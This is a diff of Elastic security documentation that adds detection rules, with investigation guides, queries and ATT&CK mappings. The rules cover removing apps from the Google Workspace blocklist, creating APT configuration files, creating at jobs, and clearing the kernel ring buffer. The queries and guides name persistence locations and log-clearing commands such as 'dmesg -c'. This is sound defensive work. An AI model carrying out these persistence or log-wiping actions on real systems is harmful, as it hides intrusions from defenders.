administrators may be aware of malicious applications within the Google marketplace and block these applications for user security purposes. An adversary, with administrative privileges, may remove this application from the explicit block list to allow distribution of the application amongst users. This may also indicate the unauthorized use of an application that had been previously blocked before by a user with admin privileges. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6328701?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Configuration Audit +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Application Removed from Blocklist in Google Workspace* + + +Google Workspace Marketplace is an online store for free and paid web applications that work with Google Workspace services and third-party software. Listed applications are based on Google APIs or Google Apps Script and created by both Google and third-party developers. + +Marketplace applications require access to specific Google Workspace resources. Individual users with the appropriate permissions can install applications in their Google Workspace domain. Administrators have additional permissions that allow them to install applications for an entire Google Workspace domain. Consent screens typically display permissions and privileges the user needs to install an application. As a result, malicious Marketplace applications may require more permissions than necessary or have malicious intent. + +Google clearly states that they are not responsible for any Marketplace product that originates from a source that isn't Google. + +This rule identifies a Marketplace blocklist update that consists of a Google Workspace account with administrative privileges manually removing a previously blocked application. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- Review `google_workspace.admin.old_value` and `google_workspace.admin.new_value` to confirm the app moved from blocked to allowed and note the affected organizational unit (`google_workspace.admin.org_unit.name`). +- This rule relies on data from `google_workspace.admin`, thus indicating the associated user has administrative privileges to the Marketplace. +- With access to the Google Workspace admin console, visit the `Security > Investigation` tool with filters for the user email and event is `Assign Role` or `Update Role` to determine if new cloud roles were recently updated. +- After identifying the involved user account, review other potentially related events within the last 48 hours. +- Re-assess the permissions and reviews of the Marketplace applications to determine if they violate organizational policies or introduce unexpected risks. +- With access to the Google Workspace admin console, determine if the application was installed domain-wide or individually by visiting `Apps > Google Workspace Marketplace apps > Apps list`. + + +*False positive analysis* + + +- Google Workspace administrators might intentionally remove an application from the blocklist due to a re-assessment or a domain-wide required need for the application. +- Identify the user account associated with this action and assess their administrative privileges with Google Workspace Marketplace. +- Contact the user to verify that they intentionally removed the application from the blocklist and their reasoning. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and + event.action:"CHANGE_APPLICATION_SETTING" and + google_workspace.admin.application.name:"Google Workspace Marketplace" and + google_workspace.admin.old_value: *allowed*false* and google_workspace.admin.new_value: *allowed*true* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apt-package-manager-configuration-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apt-package-manager-configuration-file-creation.asciidoc new file mode 100644 index 0000000000..ecdebd1602 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apt-package-manager-configuration-file-creation.asciidoc @@ -0,0 +1,223 @@ +[[prebuilt-rule-8-19-34-apt-package-manager-configuration-file-creation]] +=== APT Package Manager Configuration File Creation + +Detects file creation events in the configuration directory for the APT package manager. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on (by default) Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://packetstormsecurity.com/files/152668/APT-Package-Manager-Persistence.html +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating APT Package Manager Configuration File Creation* + + +APT is a crucial tool for managing software on Debian-based Linux systems, handling tasks like installation and updates. Adversaries may exploit APT by inserting malicious scripts into its configuration files, ensuring persistent access. The detection rule monitors for unauthorized file creation or renaming in APT's configuration directory, excluding legitimate processes, to identify potential tampering. + + +*Possible investigation steps* + + +- Review the file creation or renaming event details, focusing on the file path to confirm it is within the APT configuration directory (/etc/apt/apt.conf.d/). +- Identify the process responsible for the file creation or renaming by examining the process.executable field, ensuring it is not one of the legitimate processes listed in the query. +- Investigate the origin and purpose of the newly created or renamed file by checking its contents for any suspicious or unauthorized scripts or configurations. +- Correlate the event with recent system activity to determine if there are any other related alerts or anomalies, such as unusual user logins or network connections, that could indicate a broader attack. +- Check the file's metadata, such as timestamps and ownership, to identify any discrepancies or signs of tampering that could suggest malicious activity. +- If the process responsible for the event is unknown or suspicious, conduct a deeper analysis of the process, including its parent process, command-line arguments, and any associated network activity. + + +*False positive analysis* + + +- Legitimate package management operations by system tools like dpkg or apt-get can trigger alerts. To manage this, ensure these processes are included in the exclusion list within the detection rule. +- Temporary files created during package updates or installations, such as those with extensions like swp or dpkg-new, may cause false positives. Exclude these file extensions from triggering alerts. +- Automated system maintenance scripts or tools like puppet or chef-client might modify APT configuration files as part of their normal operations. Add these processes to the exclusion list to prevent unnecessary alerts. +- Custom scripts or administrative tasks that involve renaming or creating files in the APT configuration directory should be reviewed. If deemed safe, add these specific scripts or processes to the exclusion criteria. +- Processes running from directories like /nix/store or /var/lib/dpkg may be part of legitimate system operations. Consider excluding these paths if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Conduct a thorough review of the newly created or renamed files in the /etc/apt/apt.conf.d/ directory to identify any malicious scripts or unauthorized changes. +- Remove any identified malicious files or scripts from the APT configuration directory to eliminate the persistence mechanism. +- Restore any legitimate configuration files from a known good backup to ensure the integrity of the APT configuration. +- Perform a comprehensive scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malware or unauthorized changes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the APT configuration directory and related processes to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and +file.path : "/etc/apt/apt.conf.d/*" and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/netplan/generate", + "/usr/local/bin/apt-get", "/usr/bin/apt-get", "./usr/bin/podman", "/usr/bin/buildah", "/.envbuilder/bin/envbuilder", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/pvedaemon", "/usr/bin/percona-release", "/usr/bin/crio" + ) or + file.path :("/etc/apt/apt.conf.d/*.tmp*") or + file.extension in ("swp", "swpx", "swx", "dpkg-remove", "dpkg-new") or + file.Ext.original.extension == "dpkg-new" or + file.Ext.original.name == ".source" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/*", "/usr/libexec/*", + "/etc/kernel/*", "/opt/saltstack/salt/bin/python*" + ) or + process.executable == null or + process.name in ("pveupdate", "perl", "executor", "crio", "docker-init", "dockerd", "pvedaemon") or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") or + /* adding known file paths to reduce false positives */ + file.path in ( + "/etc/apt/apt.conf.d/50unattended-upgrades", + "/etc/apt/apt.conf.d/02autoremove-postgresql", + "/etc/apt/apt.conf.d/99rain-noautoupgrades", + "/etc/apt/apt.conf.d/99no-check-valid-until", + "/etc/apt/apt.conf.d/50isar-apt", + "/etc/apt/apt.conf.d/99gitlab-ci-cache", + "/etc/apt/apt.conf.d/50unattended-upgrades.ucf-dist", + "/etc/apt/apt.conf.d/01autoremove-kernels", + "/etc/apt/apt.conf.d/01autoremove", + "/etc/apt/apt.conf.d/95proxies", + "/etc/apt/apt.conf.d/99-noninteractive" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-at-job-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-at-job-created-or-modified.asciidoc new file mode 100644 index 0000000000..76ea64a0ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-at-job-created-or-modified.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-34-at-job-created-or-modified]] +=== At Job Created or Modified + +This rule monitors for at jobs being created or renamed. Linux at jobs are scheduled tasks that can be leveraged by system administrators to set up scheduled tasks, but may be abused by malicious actors for persistence, privilege escalation and command execution. By creating or modifying cron job configurations, attackers can execute malicious commands or scripts at predefined intervals, ensuring their continued presence and enabling unauthorized activities. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating At Job Created or Modified* + + +The 'at' command in Linux schedules tasks for future execution, aiding system admins in automating routine jobs. However, attackers can exploit this for persistence, privilege escalation, or executing unauthorized commands. The detection rule identifies suspicious 'at' job creations or modifications by monitoring specific file paths and excluding benign processes, helping to flag potential malicious activities. + + +*Possible investigation steps* + + +- Review the file path of the created or modified 'at' job to confirm it is within the monitored directory: /var/spool/cron/atjobs/*. Determine if the file path is expected or unusual for the system's typical operations. +- Identify the process that triggered the alert by examining the process.executable field. Check if the process is known and expected in the context of the system's normal operations. +- Investigate the user account associated with the process that created or modified the 'at' job. Determine if the account has legitimate reasons to schedule tasks or if it might be compromised. +- Check the contents of the 'at' job file to understand the commands or scripts scheduled for execution. Look for any suspicious or unauthorized commands that could indicate malicious intent. +- Correlate the event with other recent alerts or logs from the same host to identify any patterns or additional indicators of compromise, such as privilege escalation attempts or unauthorized access. +- Verify if there are any known vulnerabilities or exploits associated with the processes or commands involved in the alert, which could provide further context on the potential threat. + + +*False positive analysis* + + +- System package managers like dpkg, rpm, and yum can trigger false positives when they create or modify at jobs during software installations or updates. To manage this, ensure these processes are included in the exclusion list within the detection rule. +- Automated system management tools such as Puppet and Chef may also create or modify at jobs as part of their routine operations. Add these tools to the exclusion list to prevent unnecessary alerts. +- Temporary files with extensions like swp or dpkg-remove can be mistakenly flagged. Exclude these file extensions from the rule to reduce false positives. +- Processes running from directories like /nix/store or /snap can be benign and should be considered for exclusion if they are part of regular system operations. +- If the process executable is null, it might indicate a benign system process that lacks a defined executable path. Consider reviewing these cases to determine if they are legitimate and adjust the rule accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or execution of malicious tasks. +- Terminate any suspicious processes associated with the creation or modification of 'at' jobs that are not part of the excluded benign processes. +- Review and remove any unauthorized 'at' jobs found in the /var/spool/cron/atjobs/ directory to eliminate persistence mechanisms. +- Conduct a thorough examination of the system for additional indicators of compromise, such as unauthorized user accounts or unexpected network connections. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for 'at' job activities to detect similar threats in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and +file.path like ("/var/spool/cron/atjobs/*", "/var/spool/atjobs/*") and +not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/local/bin/dockerd", "./usr/bin/podman" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable : ("/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*") or + process.executable == null or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: At +** ID: T1053.002 +** Reference URL: https://attack.mitre.org/techniques/T1053/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: At +** ID: T1053.002 +** Reference URL: https://attack.mitre.org/techniques/T1053/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: At +** ID: T1053.002 +** Reference URL: https://attack.mitre.org/techniques/T1053/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-clear-kernel-ring-buffer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-clear-kernel-ring-buffer.asciidoc new file mode 100644 index 0000000000..0afed31531 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-clear-kernel-ring-buffer.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-attempt-to-clear-kernel-ring-buffer]] +=== Attempt to Clear Kernel Ring Buffer + +Monitors for the deletion of the kernel ring buffer events through dmesg. Attackers may clear kernel ring buffer events to evade detection after installing a Linux kernel module (LKM). This activity is commonly observed by intrusions that leverage kernel-level rootkits to maintain persistence on a compromised host. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Clear Kernel Ring Buffer* + + +The kernel ring buffer logs system messages, crucial for diagnosing issues. Adversaries may clear these logs using the `dmesg -c` command to hide traces of malicious activities, such as installing unauthorized kernel modules. The detection rule identifies this behavior by monitoring the execution of `dmesg` with specific arguments, flagging potential evasion attempts for further investigation. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `dmesg -c` command, focusing on the process name and arguments to ensure the alert is valid. +- Investigate the user account associated with the execution of the `dmesg -c` command to determine if it is a known and authorized user or potentially compromised. +- Check for any recent installations or modifications of Linux kernel modules (LKMs) on the host to identify unauthorized changes that may coincide with the log clearing attempt. +- Examine other system logs and security alerts around the same timeframe to identify any suspicious activities or patterns that may indicate a broader attack or compromise. +- Assess the host's network activity for any unusual outbound connections or data exfiltration attempts that could suggest further malicious intent. + + +*False positive analysis* + + +- Routine system maintenance activities may trigger the rule if administrators use the dmesg -c command to clear logs for legitimate purposes. To handle this, create exceptions for known maintenance scripts or processes that regularly execute this command. +- Automated scripts or monitoring tools that include dmesg -c as part of their log management routine can cause false positives. Identify these scripts and exclude them from the rule by specifying their process IDs or user accounts. +- Development and testing environments where kernel modules are frequently installed and removed might generate alerts. Consider excluding these environments from the rule or adjusting the risk score to reflect the lower threat level in these contexts. +- System administrators may use dmesg -c during troubleshooting to clear logs and view new messages. Document these activities and create exceptions for specific user accounts or roles that perform this task regularly. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Conduct a thorough review of the system to identify any unauthorized kernel modules or other suspicious changes, and remove them if found. +- Restore the system from a known good backup if unauthorized changes are detected and cannot be easily reversed. +- Review and update access controls and permissions to ensure that only authorized users have the ability to execute commands like `dmesg -c`. +- Implement enhanced monitoring and logging for the affected system to detect any future attempts to clear the kernel ring buffer or similar evasion tactics. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Conduct a post-incident review to identify gaps in detection and response, and update security policies and procedures to prevent recurrence. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "dmesg" and process.args in ("-c", "-C", "--clear", "--read-clear") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Linux or Mac System Logs +** ID: T1070.002 +** Reference URL: https://attack.mitre.org/techniques/T1070/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-clear-logs-via-journalctl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-clear-logs-via-journalctl.asciidoc new file mode 100644 index 0000000000..f249fc70f6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-clear-logs-via-journalctl.asciidoc @@ -0,0 +1,170 @@ 